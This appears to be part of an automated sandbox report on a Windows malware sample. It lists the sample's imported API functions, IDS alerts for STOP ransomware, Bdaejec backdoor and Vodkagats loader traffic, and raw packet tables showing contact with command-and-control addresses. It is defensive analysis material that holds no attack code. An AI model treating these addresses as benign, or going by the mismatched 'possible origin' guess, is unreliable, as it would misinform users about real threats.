GetPrivateProfileStringW, CreateActCtxA, GetPrivateProfileIntW, ReadConsoleInputW, OutputDebugStringW, lstrlenA, WriteConsoleW, OpenMutexW, GetThreadContext, DeleteCriticalSection, ConvertFiberToThread, SetProcessPriorityBoost, LockFile, GetConsoleCP, CreateIoCompletionPort, AllocConsole, GlobalGetAtomNameW, SetComputerNameA, GetConsoleAliasExesLengthW, CreateMailslotW, GetCommState, MoveFileWithProgressW, GetSystemTimeAdjustment, EnumSystemLocalesA, SetFileApisToANSI, OpenWaitableTimerW, OpenFileMappingW, GetFileSizeEx, GetConsoleAliasesLengthW, SetProcessShutdownParameters, FillConsoleOutputCharacterW, WriteConsoleOutputCharacterA, GetConsoleAliasExesA, GetBinaryTypeW, GetNumberFormatA, BuildCommDCBAndTimeoutsW, GetModuleHandleW, Sleep, InterlockedIncrement, InterlockedDecrement, GetProcAddress, ExitProcess, MoveFileA, DeleteFileA, RaiseException, HeapValidate, IsBadReadPtr, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, TlsGetValue, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, WriteFile, GetStdHandle, GetACP, GetCPInfo, IsValidCodePage, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InitializeCriticalSectionAndSpinCount, SetHandleCount, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, HeapDestroy, HeapCreate, HeapFree, VirtualFree, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, OutputDebugStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetFilePointer, GetConsoleMode, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CloseHandle, CreateFileA

USER32.dll

CharToOemBuffW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Uzbek	Italy

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T02:03:47.296351+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	54343	443	192.168.2.10	188.114.96.3
2024-07-26T02:03:57.838286+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	49703	80	192.168.2.10	92.246.89.93
2024-07-26T02:04:00.970356+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	54349	799	192.168.2.10	44.221.84.105
2024-07-26T02:03:31.059254+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	51794	53	192.168.2.10	1.1.1.1
2024-07-26T02:03:35.137655+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	51794	53	192.168.2.10	1.1.1.1
2024-07-26T02:04:00.904446+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49706	80	192.168.2.10	92.246.89.93
2024-07-26T02:04:24.265329+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	54350	80	192.168.2.10	92.246.89.93
2024-07-26T02:03:39.258246+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49705	443	192.168.2.10	188.114.96.3
2024-07-26T02:03:45.271883+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	60215	53	192.168.2.10	1.1.1.1
2024-07-26T02:04:27.258597+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	54353	13.85.23.86	192.168.2.10
2024-07-26T02:03:32.115678+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	51794	53	192.168.2.10	1.1.1.1
2024-07-26T02:04:04.101984+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	49755	53	192.168.2.10	1.1.1.1
2024-07-26T02:03:46.258206+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	60215	53	192.168.2.10	1.1.1.1
2024-07-26T02:04:27.373008+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	54352	80	192.168.2.10	92.246.89.93
2024-07-26T02:03:57.787339+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49702	80	192.168.2.10	92.246.89.93
2024-07-26T02:04:03.086410+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	49755	53	192.168.2.10	1.1.1.1
2024-07-26T02:05:20.311515+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	54358	80	192.168.2.10	92.246.89.93
2024-07-26T02:04:06.102079+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	49755	53	192.168.2.10	1.1.1.1
2024-07-26T02:03:37.428317+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49704	799	192.168.2.10	44.221.84.105
2024-07-26T02:04:50.722913+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	54354	80	192.168.2.10	92.246.89.93
2024-07-26T02:04:03.630166+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	54351	799	192.168.2.10	44.221.84.105
2024-07-26T02:03:49.576946+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	54344	13.85.23.86	192.168.2.10
2024-07-26T02:04:19.216682+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	54348	80	192.168.2.10	92.246.89.93
2024-07-26T02:03:33.121044+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	51794	53	192.168.2.10	1.1.1.1
2024-07-26T02:04:02.071612+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	49755	53	192.168.2.10	1.1.1.1
2024-07-26T02:03:56.570533+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	54347	799	192.168.2.10	44.221.84.105
2024-07-26T02:04:53.844370+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	54355	80	192.168.2.10	92.246.89.93
2024-07-26T02:03:53.734003+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	54346	799	192.168.2.10	44.221.84.105
2024-07-26T02:05:17.181330+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	54357	80	192.168.2.10	92.246.89.93
2024-07-26T02:03:33.252536+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49700	443	192.168.2.10	188.114.96.3
2024-07-26T02:03:35.970517+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49701	443	192.168.2.10	188.114.96.3
2024-07-26T02:03:50.364320+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	54345	799	192.168.2.10	44.221.84.105

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 02:03:32.343581915 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:32.343641043 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:32.343787909 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:32.357527971 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:32.357561111 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:32.833910942 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:32.833988905 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:32.904203892 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:32.904237032 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:32.904594898 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:32.904668093 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:32.907187939 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:32.948506117 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:33.252397060 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:33.252512932 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:33.252518892 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:33.252568960 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:33.347018003 CEST	49700	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:33.347043037 CEST	443	49700	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.081216097 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.081254959 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.081335068 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.102396011 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.102420092 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.590572119 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.590646029 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.595778942 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.595788956 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.596257925 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.596309900 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.603039026 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.644504070 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.970254898 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.970365047 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:35.970402002 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.970421076 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.971406937 CEST	49701	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:35.971430063 CEST	443	49701	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:36.385585070 CEST	49702	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:36.390511990 CEST	80	49702	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:36.390619993 CEST	49702	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:36.390818119 CEST	49702	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:36.395806074 CEST	80	49702	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:36.466101885 CEST	49703	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:36.471210957 CEST	80	49703	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:36.471297026 CEST	49703	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:36.471491098 CEST	49703	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:36.476304054 CEST	80	49703	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:37.024502993 CEST	49704	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:37.029803038 CEST	799	49704	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:37.029937983 CEST	49704	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:37.030138016 CEST	49704	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:37.035701990 CEST	799	49704	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:37.428184986 CEST	799	49704	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:37.428215027 CEST	799	49704	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:37.428317070 CEST	49704	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:37.428318024 CEST	49704	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:37.429934978 CEST	49704	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:37.437248945 CEST	799	49704	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:38.006807089 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:38.006853104 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:38.006921053 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:38.034044027 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:38.034074068 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:38.645672083 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:38.645804882 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:38.904628038 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:38.904650927 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:38.906940937 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:38.907028913 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:38.911581993 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:38.956492901 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:39.258260965 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:39.258342981 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:39.258935928 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:39.265810013 CEST	49705	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:39.265834093 CEST	443	49705	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:39.512173891 CEST	49706	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:39.522176981 CEST	80	49706	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:39.522253990 CEST	49706	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:39.522488117 CEST	49706	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:39.528172970 CEST	80	49706	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:46.406174898 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:46.406224012 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:46.406311035 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:46.426775932 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:46.426803112 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:46.921288013 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:46.921457052 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:46.926081896 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:46.926099062 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:46.926451921 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:46.928504944 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:46.930696011 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:46.976499081 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:47.296354055 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:47.296466112 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:47.296535015 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:47.297420025 CEST	54343	443	192.168.2.10	188.114.96.3
Jul 26, 2024 02:03:47.297436953 CEST	443	54343	188.114.96.3	192.168.2.10
Jul 26, 2024 02:03:49.973906994 CEST	54345	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:49.978777885 CEST	799	54345	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:49.978857994 CEST	54345	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:49.979187012 CEST	54345	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:49.984724998 CEST	799	54345	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:50.362943888 CEST	799	54345	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:50.363104105 CEST	799	54345	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:50.364320040 CEST	54345	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:50.364912033 CEST	54345	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:50.369895935 CEST	799	54345	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:53.323775053 CEST	54346	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:53.328634977 CEST	799	54346	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:53.328727007 CEST	54346	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:53.328974962 CEST	54346	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:53.333754063 CEST	799	54346	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:53.733942032 CEST	799	54346	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:53.734003067 CEST	54346	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:53.734097004 CEST	799	54346	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:53.734143019 CEST	54346	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:53.735187054 CEST	54346	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:53.739940882 CEST	799	54346	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:56.163516998 CEST	54347	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:56.168922901 CEST	799	54347	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:56.169049025 CEST	54347	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:56.169368982 CEST	54347	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:56.174626112 CEST	799	54347	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:56.570339918 CEST	799	54347	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:56.570493937 CEST	799	54347	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:56.570533037 CEST	54347	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:56.571803093 CEST	54347	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:56.571803093 CEST	54347	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:03:56.577590942 CEST	799	54347	44.221.84.105	192.168.2.10
Jul 26, 2024 02:03:57.787260056 CEST	80	49702	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:57.787338972 CEST	49702	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:57.787491083 CEST	49702	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:57.793000937 CEST	80	49702	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:57.838200092 CEST	80	49703	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:57.838285923 CEST	49703	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:57.838433027 CEST	49703	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:57.839339972 CEST	54348	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:57.844168901 CEST	80	49703	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:57.845273972 CEST	80	54348	92.246.89.93	192.168.2.10
Jul 26, 2024 02:03:57.845366955 CEST	54348	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:57.845603943 CEST	54348	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:03:57.851360083 CEST	80	54348	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:00.567259073 CEST	54349	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:00.572206020 CEST	799	54349	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:00.572380066 CEST	54349	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:00.575119019 CEST	54349	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:00.579910994 CEST	799	54349	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:00.904145002 CEST	80	49706	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:00.904445887 CEST	49706	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:00.904632092 CEST	49706	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:00.911072016 CEST	80	49706	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:00.970211029 CEST	799	54349	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:00.970228910 CEST	799	54349	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:00.970355988 CEST	54349	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:00.971330881 CEST	54349	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:00.976146936 CEST	799	54349	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:02.868144989 CEST	54350	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:02.873383045 CEST	80	54350	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:02.873478889 CEST	54350	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:02.873703957 CEST	54350	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:02.878403902 CEST	80	54350	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:03.199137926 CEST	54351	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:03.203907967 CEST	799	54351	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:03.204020977 CEST	54351	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:03.204294920 CEST	54351	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:03.209043980 CEST	799	54351	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:03.630091906 CEST	799	54351	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:03.630110025 CEST	799	54351	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:03.630166054 CEST	54351	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:03.631431103 CEST	54351	799	192.168.2.10	44.221.84.105
Jul 26, 2024 02:04:03.636229992 CEST	799	54351	44.221.84.105	192.168.2.10
Jul 26, 2024 02:04:05.977616072 CEST	54352	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:05.982573032 CEST	80	54352	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:05.982800007 CEST	54352	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:05.983019114 CEST	54352	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:05.988013029 CEST	80	54352	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:19.216603994 CEST	80	54348	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:19.216681957 CEST	54348	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:19.216754913 CEST	54348	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:19.221584082 CEST	80	54348	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:24.265176058 CEST	80	54350	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:24.265328884 CEST	54350	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:24.265449047 CEST	54350	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:24.273248911 CEST	80	54350	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:27.372951984 CEST	80	54352	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:27.373008013 CEST	54352	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:27.392878056 CEST	54352	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:27.397741079 CEST	80	54352	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:29.323110104 CEST	54354	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:29.328239918 CEST	80	54354	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:29.328352928 CEST	54354	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:29.328510046 CEST	54354	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:29.333264112 CEST	80	54354	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:32.446538925 CEST	54355	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:32.451489925 CEST	80	54355	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:32.451647997 CEST	54355	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:32.451785088 CEST	54355	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:32.457669020 CEST	80	54355	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:50.722790003 CEST	80	54354	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:50.722913027 CEST	54354	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:50.723062992 CEST	54354	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:50.727881908 CEST	80	54354	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:53.839155912 CEST	80	54355	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:53.844369888 CEST	54355	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:53.844369888 CEST	54355	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:53.849360943 CEST	80	54355	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:55.790875912 CEST	54357	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:55.795954943 CEST	80	54357	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:55.796084881 CEST	54357	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:55.796175003 CEST	54357	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:55.801023006 CEST	80	54357	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:58.885535955 CEST	54358	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:58.890594006 CEST	80	54358	92.246.89.93	192.168.2.10
Jul 26, 2024 02:04:58.890758991 CEST	54358	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:58.890959024 CEST	54358	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:04:58.895816088 CEST	80	54358	92.246.89.93	192.168.2.10
Jul 26, 2024 02:05:17.181219101 CEST	80	54357	92.246.89.93	192.168.2.10
Jul 26, 2024 02:05:17.181329966 CEST	54357	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:05:17.181425095 CEST	54357	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:05:17.186206102 CEST	80	54357	92.246.89.93	192.168.2.10
Jul 26, 2024 02:05:20.311364889 CEST	80	54358	92.246.89.93	192.168.2.10
Jul 26, 2024 02:05:20.311515093 CEST	54358	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:05:20.311609983 CEST	54358	80	192.168.2.10	92.246.89.93
Jul 26, 2024 02:05:20.316389084 CEST	80	54358	92.246.89.93	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 02:03:31.059253931 CEST	51794	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:32.115678072 CEST	51794	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:32.325722933 CEST	61259	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:32.336303949 CEST	53	61259	1.1.1.1	192.168.2.10
Jul 26, 2024 02:03:33.121043921 CEST	51794	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:35.137655020 CEST	51794	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:36.357381105 CEST	51430	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:36.359625101 CEST	56387	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:36.384011984 CEST	53	56387	1.1.1.1	192.168.2.10
Jul 26, 2024 02:03:36.465230942 CEST	53	51430	1.1.1.1	192.168.2.10
Jul 26, 2024 02:03:37.018750906 CEST	53	51794	1.1.1.1	192.168.2.10
Jul 26, 2024 02:03:37.018805027 CEST	53	51794	1.1.1.1	192.168.2.10
Jul 26, 2024 02:03:37.018832922 CEST	53	51794	1.1.1.1	192.168.2.10
Jul 26, 2024 02:03:37.018846035 CEST	53	51794	1.1.1.1	192.168.2.10
Jul 26, 2024 02:03:45.271883011 CEST	60215	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:46.258205891 CEST	60215	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:03:46.266546965 CEST	53	60215	1.1.1.1	192.168.2.10
Jul 26, 2024 02:03:49.820863008 CEST	53	60215	1.1.1.1	192.168.2.10
Jul 26, 2024 02:04:02.071611881 CEST	49755	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:04:03.086410046 CEST	49755	53	192.168.2.10	1.1.1.1
Jul 26, 2024 02:04:04.101984024 CEST	49755	53	192.168.2.10	1.1.1.1
